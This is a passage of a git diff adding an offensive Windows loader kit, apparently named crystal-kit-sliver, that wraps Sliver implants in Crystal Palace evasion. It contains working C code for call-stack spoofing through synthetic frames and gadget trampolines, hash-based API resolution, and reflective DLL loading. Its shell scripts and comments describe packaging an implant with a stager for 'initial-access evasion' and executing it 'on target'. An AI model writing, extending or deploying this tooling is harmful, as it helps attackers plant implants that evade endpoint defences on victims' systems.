|
||||
|
||||
call.args [ 0 ] = spoof_arg ( dwExitCode );
|
||||
|
||||
spoof_call ( &call );
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
#include <windows.h>
|
||||
#include "tcg.h"
|
||||
|
||||
/**
|
||||
* This function is used to locate functions in
|
||||
* modules that are loaded by default (K32 & NTDLL)
|
||||
*/
|
||||
FARPROC patch_resolve ( DWORD mod_hash, DWORD func_hash )
|
||||
{
|
||||
HANDLE module = findModuleByHash ( mod_hash );
|
||||
return findFunctionByHash ( module, func_hash );
|
||||
}
|
||||
@@ -0,0 +1,374 @@
|
||||
#include <windows.h>
|
||||
#include "spoof.h"
|
||||
#include "tcg.h"
|
||||
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR );
|
||||
DECLSPEC_IMPORT RUNTIME_FUNCTION * WINAPI KERNEL32$RtlLookupFunctionEntry ( DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE );
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx ( PULONG );
|
||||
|
||||
#define TEXT_HASH 0xEBC2F9B4
|
||||
#define RBP_OP_INFO 0x5
|
||||
|
||||
typedef struct {
|
||||
LPCWSTR DllPath;
|
||||
ULONG Offset;
|
||||
ULONGLONG TotalStackSize;
|
||||
BOOL RequiresLoadLibrary;
|
||||
BOOL SetsFramePointer;
|
||||
PVOID ReturnAddress;
|
||||
BOOL PushRbp;
|
||||
ULONG CountOfCodes;
|
||||
BOOL PushRbpIndex;
|
||||
} STACK_FRAME;
|
||||
|
||||
typedef enum {
|
||||
UWOP_PUSH_NONVOL = 0,
|
||||
UWOP_ALLOC_LARGE,
|
||||
UWOP_ALLOC_SMALL,
|
||||
UWOP_SET_FPREG,
|
||||
UWOP_SAVE_NONVOL,
|
||||
UWOP_SAVE_NONVOL_FAR,
|
||||
UWOP_SAVE_XMM128 = 8,
|
||||
UWOP_SAVE_XMM128_FAR,
|
||||
UWOP_PUSH_MACHFRAME
|
||||
} UNWIND_CODE_OPS;
|
||||
|
||||
typedef unsigned char UBYTE;
|
||||
|
||||
typedef union {
|
||||
struct {
|
||||
UBYTE CodeOffset;
|
||||
UBYTE UnwindOp : 4;
|
||||
UBYTE OpInfo : 4;
|
||||
};
|
||||
USHORT FrameOffset;
|
||||
} UNWIND_CODE;
|
||||
|
||||
typedef struct {
|
||||
UBYTE Version : 3;
|
||||
UBYTE Flags : 5;
|
||||
UBYTE SizeOfProlog;
|
||||
UBYTE CountOfCodes;
|
||||
UBYTE FrameRegister : 4;
|
||||
UBYTE FrameOffset : 4;
|
||||
UNWIND_CODE UnwindCode [ 1 ];
|
||||
} UNWIND_INFO;
|
||||
|
||||
typedef struct {
|
||||
PVOID ModuleAddress;
|
||||
PVOID FunctionAddress;
|
||||
DWORD Offset;
|
||||
} FRAME_INFO;
|
||||
|
||||
typedef struct {
|
||||
FRAME_INFO Frame1;
|
||||
FRAME_INFO Frame2;
|
||||
PVOID Gadget;
|
||||
} SYNTHETIC_STACK_FRAME;
|
||||
|
||||
typedef struct {
|
||||
FUNCTION_CALL * FunctionCall;
|
||||
PVOID StackFrame;
|
||||
PVOID SpoofCall;
|
||||
} DRAUGR_FUNCTION_CALL;
|
||||
|
||||
typedef struct {
|
||||
PVOID Fixup;
|
||||
PVOID OriginalReturnAddress;
|
||||
PVOID Rbx;
|
||||
PVOID Rdi;
|
||||
PVOID BaseThreadInitThunkStackSize;
|
||||
PVOID BaseThreadInitThunkReturnAddress;
|
||||
PVOID TrampolineStackSize;
|
||||
PVOID RtlUserThreadStartStackSize;
|
||||
PVOID RtlUserThreadStartReturnAddress;
|
||||
PVOID Ssn;
|
||||
PVOID Trampoline;
|
||||
PVOID Rsi;
|
||||
PVOID R12;
|
||||
PVOID R13;
|
||||
PVOID R14;
|
||||
PVOID R15;
|
||||
} DRAUGR_PARAMETERS;
|
||||
|
||||
extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID );
|
||||
|
||||
#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] )
|
||||
|
||||
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
|
||||
{
|
||||
PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" );
|
||||
PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" );
|
||||
|
||||
frame->Frame1.ModuleAddress = frame1_module;
|
||||
frame->Frame1.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame1_module, "BaseThreadInitThunk" );
|
||||
frame->Frame1.Offset = 0x17;
|
||||
|
||||
frame->Frame2.ModuleAddress = frame2_module;
|
||||
frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" );
|
||||
frame->Frame2.Offset = 0x2c;
|
||||
|
||||
frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
|
||||
}
|
||||
|
||||
BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size )
|
||||
{
|
||||
IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module );
|
||||
|
||||
if ( dos_header->e_magic != IMAGE_DOS_SIGNATURE ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( UINT_PTR ) module + dos_header->e_lfanew );
|
||||
|
||||
if ( nt_headers->Signature != IMAGE_NT_SIGNATURE ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
IMAGE_SECTION_HEADER * section_header = IMAGE_FIRST_SECTION ( nt_headers );
|
||||
|
||||
for ( int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++ )
|
||||
{
|
||||
DWORD h = ror13hash ( ( char * ) section_header[ i ].Name );
|
||||
|
||||
if ( h == TEXT_HASH )
|
||||
{
|
||||
*virtual_address = section_header[ i ].VirtualAddress;
|
||||
*size = section_header[ i ].SizeOfRawData;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PVOID calculate_function_stack_size ( RUNTIME_FUNCTION * runtime_function, const DWORD64 image_base )
|
||||
{
|
||||
UNWIND_INFO * unwind_info = NULL;
|
||||
ULONG unwind_operation = 0;
|
||||
ULONG operation_info = 0;
|
||||
ULONG index = 0;
|
||||
ULONG frame_offset = 0;
|
||||
|
||||
STACK_FRAME stack_frame = { 0 };
|
||||
|
||||
if ( ! runtime_function ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
unwind_info = ( UNWIND_INFO * ) ( runtime_function->UnwindData + image_base );
|
||||
|
||||
while ( index < unwind_info->CountOfCodes )
|
||||
{
|
||||
unwind_operation = unwind_info->UnwindCode[ index ].UnwindOp;
|
||||
operation_info = unwind_info->UnwindCode[ index ].OpInfo;
|
||||
|
||||
/* don't use switch as it produces jump tables */
|
||||
if ( unwind_operation == UWOP_PUSH_NONVOL )
|
||||
{
|
||||
stack_frame.TotalStackSize += 8;
|
||||
|
||||
if ( operation_info == RBP_OP_INFO )
|
||||
{
|
||||
stack_frame.PushRbp = TRUE;
|
||||
stack_frame.CountOfCodes = unwind_info->CountOfCodes;
|
||||
stack_frame.PushRbpIndex = index + 1;
|
||||
}
|
||||
}
|
||||
else if ( unwind_operation == UWOP_SAVE_NONVOL )
|
||||
{
|
||||
index += 1;
|
||||
}
|
||||
else if ( unwind_operation == UWOP_ALLOC_SMALL )
|
||||
{
|
||||
stack_frame.TotalStackSize += ( ( operation_info * 8 ) + 8 );
|
||||
}
|
||||
else if ( unwind_operation == UWOP_ALLOC_LARGE )
|
||||
{
|
||||
index += 1;
|
||||
frame_offset = unwind_info->UnwindCode[ index ].FrameOffset;
|
||||
|
||||
if (operation_info == 0)
|
||||
{
|
||||
frame_offset *= 8;
|
||||
}
|
||||
else
|
||||
{
|
||||
index += 1;
|
||||
frame_offset += ( unwind_info->UnwindCode[ index ].FrameOffset << 16 );
|
||||
}
|
||||
|
||||
stack_frame.TotalStackSize += frame_offset;
|
||||
}
|
||||
else if ( unwind_operation == UWOP_SET_FPREG )
|
||||
{
|
||||
stack_frame.SetsFramePointer = TRUE;
|
||||
}
|
||||
else if ( unwind_operation == UWOP_SAVE_XMM128 )
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
index += 1;
|
||||
}
|
||||
|
||||
if ( 0 != ( unwind_info->Flags & UNW_FLAG_CHAININFO ) )
|
||||
{
|
||||
index = unwind_info->CountOfCodes;
|
||||
|
||||
if ( 0 != ( index & 1 ) )
|
||||
{
|
||||
index += 1;
|
||||
}
|
||||
|
||||
runtime_function = ( RUNTIME_FUNCTION * ) ( &unwind_info->UnwindCode [ index ] );
|
||||
return calculate_function_stack_size ( runtime_function, image_base );
|
||||
}
|
||||
|
||||
stack_frame.TotalStackSize += 8;
|
||||
return ( PVOID ) ( stack_frame.TotalStackSize );
|
||||
}
|
||||
|
||||
PVOID calculate_function_stack_size_wrapper ( PVOID return_address )
|
||||
{
|
||||
RUNTIME_FUNCTION * runtime_function = NULL;
|
||||
DWORD64 image_base = 0;
|
||||
PUNWIND_HISTORY_TABLE history_table = NULL;
|
||||
|
||||
if ( ! return_address ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
runtime_function = KERNEL32$RtlLookupFunctionEntry ( ( DWORD64 ) return_address, &image_base, history_table );
|
||||
|
||||
if ( NULL == runtime_function ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return calculate_function_stack_size ( runtime_function, image_base );
|
||||
}
|
||||
|
||||
PVOID find_gadget( PVOID module )
|
||||
{
|
||||
BOOL found_gadgets = FALSE;
|
||||
DWORD text_section_size = 0;
|
||||
DWORD text_section_va = 0;
|
||||
DWORD counter = 0;
|
||||
ULONG seed = 0;
|
||||
ULONG random = 0;
|
||||
PVOID module_text_section = NULL;
|
||||
|
||||
PVOID gadget_list [ 15 ] = { 0 };
|
||||
|
||||
if ( ! found_gadgets )
|
||||
{
|
||||
if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va );
|
||||
|
||||
for ( int i = 0; i < ( text_section_size - 2 ); i++ )
|
||||
{
|
||||
/* x64 opcodes are ff 23 */
|
||||
if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 )
|
||||
{
|
||||
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
|
||||
counter++;
|
||||
|
||||
if ( counter == 15 ) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
found_gadgets = TRUE;
|
||||
}
|
||||
|
||||
seed = 0x1337;
|
||||
random = NTDLL$RtlRandomEx ( &seed );
|
||||
random %= counter;
|
||||
|
||||
return gadget_list [ random ];
|
||||
}
|
||||
|
||||
ULONG_PTR draugr_wrapper ( PVOID function, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12 )
|
||||
{
|
||||
int attempts = 0;
|
||||
PVOID return_address = NULL;
|
||||
|
||||
DRAUGR_PARAMETERS draugr_params = { 0 };
|
||||
|
||||
SYNTHETIC_STACK_FRAME frame;
|
||||
init_frame_info ( &frame );
|
||||
|
||||
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset );
|
||||
draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address );
|
||||
draugr_params.BaseThreadInitThunkReturnAddress = return_address;
|
||||
|
||||
if ( ! draugr_params.BaseThreadInitThunkStackSize || ! draugr_params.BaseThreadInitThunkReturnAddress ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame2.FunctionAddress + frame.Frame2.Offset );
|
||||
draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper ( return_address );
|
||||
draugr_params.RtlUserThreadStartReturnAddress = return_address;
|
||||
|
||||
if ( ! draugr_params.RtlUserThreadStartStackSize || ! draugr_params.RtlUserThreadStartReturnAddress ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
draugr_params.Trampoline = find_gadget ( frame.Gadget );
|
||||
draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline );
|
||||
|
||||
attempts++;
|
||||
|
||||
if ( attempts > 15 ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
} while ( draugr_params.TrampolineStackSize == NULL || ( ( __int64 ) draugr_params.TrampolineStackSize < 0x80 ) );
|
||||
|
||||
if ( ! draugr_params.Trampoline || ! draugr_params.TrampolineStackSize ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
return ( ULONG_PTR ) draugr_stub ( arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 );
|
||||
}
|
||||
|
||||
ULONG_PTR spoof_call ( FUNCTION_CALL * call )
|
||||
{
|
||||
/* very inelegant */
|
||||
if ( call->argc == 0 ) {
|
||||
return draugr_wrapper ( call->ptr, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 1 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 2 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 3 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 4 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 5 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 6 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 7 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 8 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 9 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), NULL, NULL, NULL );
|
||||
} else if ( call->argc == 10 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), NULL, NULL );
|
||||
} else if ( call->argc == 11 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), NULL );
|
||||
} else if ( call->argc == 12 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), ( PVOID ) draugr_arg ( 11 ) );
|
||||
} else {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
#define spoof_arg(x) ( ULONG_PTR ) ( x )
|
||||
|
||||
typedef struct {
|
||||
PVOID ptr;
|
||||
int argc;
|
||||
ULONG_PTR args[10];
|
||||
} FUNCTION_CALL;
|
||||
|
||||
ULONG_PTR spoof_call ( FUNCTION_CALL * call );
|
||||
@@ -0,0 +1,102 @@
|
||||
/*
|
||||
* Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
// used by both the Pico Loader and DLL loader
|
||||
typedef struct {
|
||||
__typeof__(LoadLibraryA) * LoadLibraryA;
|
||||
__typeof__(GetProcAddress) * GetProcAddress;
|
||||
} IMPORTFUNCS;
|
||||
|
||||
// linker intrinsic to map a function hash to a hook registered via Crystal Palace
|
||||
FARPROC __resolve_hook(DWORD funcHash);
|
||||
|
||||
/*
|
||||
* Structs used by our DLL loader
|
||||
*/
|
||||
|
||||
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
|
||||
typedef struct {
|
||||
IMAGE_DOS_HEADER * DosHeader;
|
||||
IMAGE_NT_HEADERS * NtHeaders;
|
||||
IMAGE_OPTIONAL_HEADER * OptionalHeader;
|
||||
} DLLDATA;
|
||||
|
||||
/*
|
||||
* utility functions
|
||||
*/
|
||||
DWORD adler32sum(unsigned char * buffer, DWORD length);
|
||||
DWORD ror13hash(const char * c);
|
||||
|
||||
/*
|
||||
* printf-style debugging.
|
||||
*/
|
||||
void dprintf(char * format, ...);
|
||||
|
||||
/*
|
||||
* PICO running functions
|
||||
*/
|
||||
typedef void (*PICOMAIN_FUNC)(char * arg);
|
||||
|
||||
PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag);
|
||||
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
|
||||
int PicoCodeSize(char * src);
|
||||
int PicoDataSize(char * src);
|
||||
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
|
||||
|
||||
/*
|
||||
* Resolve functions by walking the export address table
|
||||
*/
|
||||
FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash);
|
||||
HANDLE findModuleByHash(DWORD moduleHash);
|
||||
|
||||
/*
|
||||
* DLL parsing and loading functions
|
||||
*/
|
||||
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base);
|
||||
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry);
|
||||
void LoadDLL(DLLDATA * dll, char * src, char * dst);
|
||||
void LoadSections(DLLDATA * dll, char * src, char * dst);
|
||||
void ParseDLL(char * src, DLLDATA * data);
|
||||
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst);
|
||||
void ProcessRelocations(DLLDATA * dll, char * src, char * dst);
|
||||
DWORD SizeOfDLL(DLLDATA * data);
|
||||
|
||||
/*
|
||||
* A macro to figure out our caller
|
||||
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
|
||||
*/
|
||||
#ifdef __MINGW32__
|
||||
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
|
||||
#else
|
||||
#pragma intrinsic(_ReturnAddress)
|
||||
#define WIN_GET_CALLER() _ReturnAddress()
|
||||
#endif
|
||||
@@ -0,0 +1,34 @@
|
||||
SHELL := /bin/bash
|
||||
|
||||
REPO_ROOT := $(abspath ..)
|
||||
LOADER_DIR := $(REPO_ROOT)/loader
|
||||
POSTEX_DIR := $(REPO_ROOT)/postex-loader
|
||||
BUILD_DIR := build
|
||||
|
||||
.PHONY: all objects clean help
|
||||
|
||||
help:
|
||||
@echo "Targets:"
|
||||
@echo " objects Build all .o/.bin objects under loader/ and postex-loader/"
|
||||
@echo " package Package crystal-loader.x64.dll + extension.json as a tarball"
|
||||
@echo " (requires crystal-loader.x64.dll to be present, see step 6)"
|
||||
@echo " clean Remove build artefacts"
|
||||
@echo ""
|
||||
@echo "Scripts:"
|
||||
@echo " ./generate.sh <input.dll> [args-file] [output.bin]"
|
||||
@echo " ./generate-implant.sh <profile-name> [output.bin]"
|
||||
@echo " ./pack-extension.sh [output.tar.gz]"
|
||||
@echo ""
|
||||
@echo "Required env: CRYSTAL_PALACE_HOME (dir with crystalpalace.jar)"
|
||||
|
||||
objects:
|
||||
$(MAKE) -C $(LOADER_DIR) all
|
||||
$(MAKE) -C $(POSTEX_DIR) all
|
||||
|
||||
package:
|
||||
@./pack-extension.sh $(BUILD_DIR)/crystal-loader-0.1.0.tar.gz
|
||||
|
||||
clean:
|
||||
$(MAKE) -C $(LOADER_DIR) clean
|
||||
$(MAKE) -C $(POSTEX_DIR) clean
|
||||
rm -rf $(BUILD_DIR)
|
||||
+62
@@ -0,0 +1,62 @@
|
||||
#!/usr/bin/env bash
|
||||
#
|
||||
# bundle-implant.sh — package a Crystal-wrapped Sliver implant PICO together
|
||||
# with the Crystal Palace 'run.x64.exe' stager into a single operator drop.
|
||||
#
|
||||
# Use case A (primary): initial-access evasion. The operator delivers BOTH
|
||||
# files to the target and executes:
|
||||
# run.x64.exe <implant>.bin
|
||||
# This invokes the Crystal Palace loader, which unmasks the Sliver implant
|
||||
# DLL in memory and runs it under the evasion stack.
|
||||
#
|
||||
# Required env:
|
||||
# CRYSTAL_PALACE_HOME Crystal Palace dist/ dir (provides run.x64.exe)
|
||||
#
|
||||
# Usage:
|
||||
# ./bundle-implant.sh <implant.bin> [output.zip]
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME to the Crystal Palace dist/ dir}"
|
||||
|
||||
IMPLANT_BIN="${1:?Usage: bundle-implant.sh <implant.bin> [output.zip]}"
|
||||
OUTPUT="${2:-./build/crystal-implant-drop.zip}"
|
||||
|
||||
if [[ ! -f "$IMPLANT_BIN" ]]; then
|
||||
echo "error: PICO not found: $IMPLANT_BIN" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
STAGER="$CRYSTAL_PALACE_HOME/demo/run.x64.exe"
|
||||
if [[ ! -f "$STAGER" ]]; then
|
||||
echo "error: run.x64.exe not found at $STAGER" >&2
|
||||
echo " It ships with the Crystal Palace distribution (demo/ folder)." >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
BUILD_DIR="$(dirname "$OUTPUT")"
|
||||
mkdir -p "$BUILD_DIR"
|
||||
|
||||
STAGE="$(mktemp -d)"
|
||||
trap 'rm -rf "$STAGE"' EXIT
|
||||
|
||||
cp "$STAGER" "$STAGE/run.x64.exe"
|
||||
cp "$IMPLANT_BIN" "$STAGE/$(basename "$IMPLANT_BIN")"
|
||||
|
||||
cat > "$STAGE/README.txt" <<EOF
|
||||
Crystal-wrapped Sliver implant — operator drop bundle.
|
||||
|
||||
Files:
|
||||
run.x64.exe Crystal Palace stager (BSD-3-Clause, (c) 2025 Raphael Mudge)
|
||||
$(basename "$IMPLANT_BIN") PICO blob containing the Sliver implant + Crystal Palace evasion
|
||||
|
||||
Execute on target (Windows x64):
|
||||
run.x64.exe $(basename "$IMPLANT_BIN")
|
||||
EOF
|
||||
|
||||
( cd "$STAGE" && zip -q -r "$OUTPUT" . )
|
||||
OUTPUT_ABS="$(cd "$BUILD_DIR" && pwd)/$(basename "$OUTPUT")"
|
||||
|
||||
echo "[+] Operator drop bundle ready: $OUTPUT_ABS"
|
||||
echo " Contents:"
|
||||
unzip -l "$OUTPUT_ABS"
|
||||
@@ -0,0 +1,25 @@
|
||||
{
|
||||
"name": "crystal-loader",
|
||||
"command_name": "crystal",
|
||||
"version": "0.1.0",
|
||||
"extension_author": "Simone Licitra",
|
||||
"original_author": "rasta-mouse, nickswink, TrustedSec (BOF compat)",
|
||||
"repo_url": "https://github.com/licitrasimone/crystal-kit-sliver",
|
||||
"help": "Run a Crystal Palace PICO-wrapped post-ex DLL inside a Sliver implant",
|
||||
"entrypoint": "go",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "crystal-loader.x64.dll"
|
||||
}
|
||||
],
|
||||
"arguments": [
|
||||
{
|
||||
"name": "payload",
|
||||
"desc": "Path on operator host to a Crystal Palace PICO .bin produced by generate.sh — Sliver client reads it and forwards bytes to the implant",
|
||||
"type": "file",
|
||||
"optional": false
|
||||
}
|
||||
]
|
||||
}
|
||||
+100
@@ -0,0 +1,100 @@
|
||||
#!/usr/bin/env bash
|
||||
#
|
||||
# generate-implant.sh — wrap a Sliver implant DLL through Crystal Palace's main
|
||||
# loader. Produces a hardened PICO that can be delivered as initial access.
|
||||
#
|
||||
# This is the PRIMARY use case of crystal-kit-sliver:
|
||||
# replace Sliver's default reflective loader with Crystal Palace's
|
||||
# evasion stack (mask + spoof + IAT hooks + ror13 API resolution).
|
||||
#
|
||||
# Required env:
|
||||
# CRYSTAL_PALACE_HOME Crystal Palace dist/ dir (with crystalpalace.jar + link)
|
||||
# SLIVER_SERVER Path to sliver-server binary (only for --profile mode)
|
||||
#
|
